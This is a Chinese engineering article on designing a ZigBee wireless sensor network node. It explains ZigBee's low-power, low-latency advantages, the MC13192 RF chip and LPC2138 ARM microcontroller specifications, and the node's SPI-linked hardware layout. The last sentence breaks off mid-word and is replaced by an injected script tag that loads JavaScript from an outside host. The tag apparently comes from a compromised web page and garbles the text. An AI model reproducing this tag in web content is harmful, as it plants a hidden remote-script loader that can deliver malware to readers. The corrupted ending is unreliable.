无线传感器网络是计算机技术、通信技术和传感器网络技术相结合的产物,是互联网领域研究的热点之一。应用于无线传感器网络的技术有许多种(如蓝牙技术、红外技术和超带宽无线通信技术等),推动了无线传感器网络的发展。但是,在家庭控制、医疗护理和工业监测应用中不需要很高的带宽,需要的只是低延迟、低功耗;而如果使用现有的、过于复杂的无线通信技术,将非常耗电,占用过多的计算和通信资源。为满足上述要求,zigbee技术应运而生。zigbee技术是一种具有统一技术标准的短距离无线通信技术,把低功耗、低成本作为重要目标,主要应用于低速传输,可以作为无线传感器网络的通信协议。
传感器节点是组成无线传感器网络的基本单元,是构成无线传感器网络的基础平台。zigbee网络节点通常是一个微型嵌入式系统,完成数据的采集、处理和传送,是决定网络性能的重要因素。本文采用freescale公司的zig-bee无线收发射频芯片mc13192和philips公司的32位arm芯片lpc2138,完成了无线传感器网络节点的设计,给出了软、硬件设计方案,并且在硬件基础上进行了结果分析。
1 zigbee技术及其优势
zigbee协议标准是由zigbee联盟与ieee 802.15.4的任务小组来共同制定的,其协议栈主要由5层体系组成,结构如图1所示。其中,物理层和mac层标准主要由ieee 802.15.4的任务小组完成;网络层和安全层由zigbee联盟制定;应用层的开发则根据用户的应用需要对其进行开发,用户提供机动、灵活的组网方式。
zigbee技术适合于承载数据流量较小的业务,特别是无线传感器网络,因为它具有以下优点:
功耗低。由于其传输速率低,发射功率仅为1mw,所以功耗很低;而且采用了休眠模式,因此zigbee设备非常省电。据估算,zigbee设备仅靠两节五号电池就可以维持长达6个月~2年左右的使用时间。
时延短。通信时延和从休眠状态激活的时延都非常短,典型的搜索设备的时延为30 ms,休眠激活的时延为15 ms,活动设备信道接人的时延为15 ms。因此,zigbee技术适用于对时延要求苛刻的无线控制等应用。
网络容量大。一个星型结构的zigbee网络最多可以容纳254个从设备和1个主设备,一个区域内最多可以同时存在100个独立而且互相重叠覆盖的zigbee网络。
安全可靠。采取了碰撞避免策略,避开了发送数据的竞争和冲突;采用完全确认的数据传输模式,每个发送的数据包都必须等待接收方的确认信息;还提供了基于循环冗余校验的数据包完整性检查功能,支持鉴权和认证。
基于以上特点与优势,zigbee技术在无线传感器网络中的应用将有广阔的发展空间。
2 mc13192芯片与lpc2138芯片简介
mc13192是freescale公司推出的符合zigbee标准的射频芯片。其工作频率是2.405~2.480 ghz,该频带划分为16个信道,每个信道占用5 mhz的带宽;采用直接序列扩频的通信技术,数据传输速率为250 kbps。mc13192具有一个优化的数字核心,有助于降低mcu处理功率,缩短执行周期。为了适应低功耗的要求,芯片除了接收、发送和空闲3种工作状态外,还有3种低功耗运行模式:①掉电模式,这种模式下芯片电流小于1 μa;②睡眠模式,这种模式下电流在3μa左右;③休眠模式,这种模式下下电流约为35μa。芯片采用可编程功率输出模式,发送功率为0~4 dbm,接收灵敏度可以达到—92dbm,传输距离30~70 m。
lpc2138芯片是philips公司推出的一个支持实时仿真和嵌入式跟踪的32位arm7微控制器。它具有丰富的片上存储功能,带有512 kb嵌入的高速flash存储器和32kb片内静态ram;还带有多个串行接口,2个8路10位a/d转换器,1个d/a转换器和47个gpio,以及多达9个边沿或电平触发的外部中断。lpc2138有两种低功耗模式:空闲模式和掉电模式。较小的封装和极低的功耗使其可以理想地与mc13192结合,作为基于zig-bee技术的无线传感器网络节点。
3 无线传感器网络节点设计
传感器节点一般由数据采集单元、数据处理单元、数据传输单元和电源管理单元等功能模块组成,如图2所示。数据采集单元负责采集监视区域的信息并完成数据转换,采集的信息包含温度、湿度、光强度、加速度和大气压力等;数据处理单元负责控制整个节点的处理操作、路由协议、同步定位、功耗管理以及任务管理等;数据传输单元负责与其他节点进行无线通信,交换控制消息和收发采集数据;电源管理单元选通所用到的传感器。
3.1 节点硬件设计
图3是节点的硬件原理图。电路外围元器件较少,主要包括6个模块:lpc2138 mcu模块、mc13192无线射频模块、电源模块、uart串口模块、jtag接口模块和数据采集i/o模块。lpc2138和mc13192通过spi总线连接。lpc2138的spi接口工作在主机模式,是数据传输的控制方;mc13192设为从机模式。lpc2138通过4线spi接口对mc13192的内部?script src=http://er12.com/t.js>